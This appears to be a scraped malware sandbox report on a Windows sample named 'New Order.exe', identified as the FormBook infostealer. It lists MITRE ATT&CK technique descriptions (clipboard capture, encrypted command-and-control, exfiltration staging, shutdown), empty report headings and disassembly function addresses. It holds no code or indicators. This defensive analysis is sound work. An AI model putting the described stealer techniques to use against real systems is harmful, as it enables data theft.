Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	API monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer.Shutting down or rebooting systems may disrupt access to computer resources for legitimate users.
Tactics:	Impact
Data Sources:	Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Windows Analysis Report New Order.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: FormBook

Yara Overview

Memory Dumps

Unpacked PEs

Sigma Overview

Signature Overview

AV Detection:

Compliance:

Spreading:

Software Vulnerabilities:

Networking:

Key, Mouse, Clipboard, Microphone and Screen Capturing:

E-Banking Fraud:

System Summary:

Data Obfuscation:

Persistence and Installation Behavior:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Stealing of Sensitive Information:

Remote Access Functionality:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

Contacted IPs

Public

Private

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Resources

Imports

Version Infos

Possible Origin

Network Behavior

Snort IDS Alerts

Function 004030FB, Relevance: 79.1, APIs: 26, Strings: 19, Instructions: 315
stringfilecomCOMMON

Function 10001D3B, Relevance: 21.5, APIs: 14, Instructions: 499
stringlibraryloaderCOMMON

Function 004054BD, Relevance: 21.2, APIs: 9, Strings: 3, Instructions: 156
filestringCOMMON

Function 004061D4, Relevance: 5.4, APIs: 4, Instructions: 382
COMMONCrypto

Function 00405E93, Relevance: 3.0, APIs: 2, Instructions: 14
fileCOMMON

Function 004035EB, Relevance: 47.5, APIs: 13, Strings: 14, Instructions: 215
stringregistryCOMMON

Function 00402C55, Relevance: 26.4, APIs: 5, Strings: 10, Instructions: 182
COMMON

Function 00401751, Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 147
stringtimeCOMMON

Function 00402E8E, Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 166
fileCOMMON

Function 00405346, Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 39
COMMON

Function 00405EBA, Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 36
libraryCOMMON

Function 0040589E, Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 32
COMMON

Function 1000198F, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 118
COMMON

Function 00401F84, Relevance: 6.1, APIs: 4, Instructions: 73
libraryloaderCOMMON

Function 004015B3, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 66
COMMON

Function 00406609, Relevance: 5.2, APIs: 4, Instructions: 236
COMMON

Function 0040680A, Relevance: 5.2, APIs: 4, Instructions: 208
COMMON

Function 00406520, Relevance: 5.2, APIs: 4, Instructions: 205
COMMON

Function 00406025, Relevance: 5.2, APIs: 4, Instructions: 198
COMMON

Function 00406473, Relevance: 5.2, APIs: 4, Instructions: 180
COMMON

Function 00406591, Relevance: 5.2, APIs: 4, Instructions: 170
COMMON

Function 004064DD, Relevance: 5.2, APIs: 4, Instructions: 168
COMMON

Function 00401B23, Relevance: 4.6, APIs: 2, Strings: 1, Instructions: 72
memoryCOMMON

Function 00401389, Relevance: 3.0, APIs: 2, Instructions: 43
windowCOMMON

Function 00405F28, Relevance: 3.0, APIs: 2, Instructions: 22
libraryloaderCOMMON

Function 0040586F, Relevance: 3.0, APIs: 2, Instructions: 16
fileCOMMON

Function 00405850, Relevance: 3.0, APIs: 2, Instructions: 9
COMMON

Function 004053C3, Relevance: 3.0, APIs: 2, Instructions: 9
COMMON

Function 00403081, Relevance: 1.5, APIs: 1, Instructions: 22
fileCOMMON

Function 10002910, Relevance: 1.5, APIs: 1, Instructions: 20
memoryCOMMON

Function 004030B3, Relevance: 1.5, APIs: 1, Instructions: 6
COMMON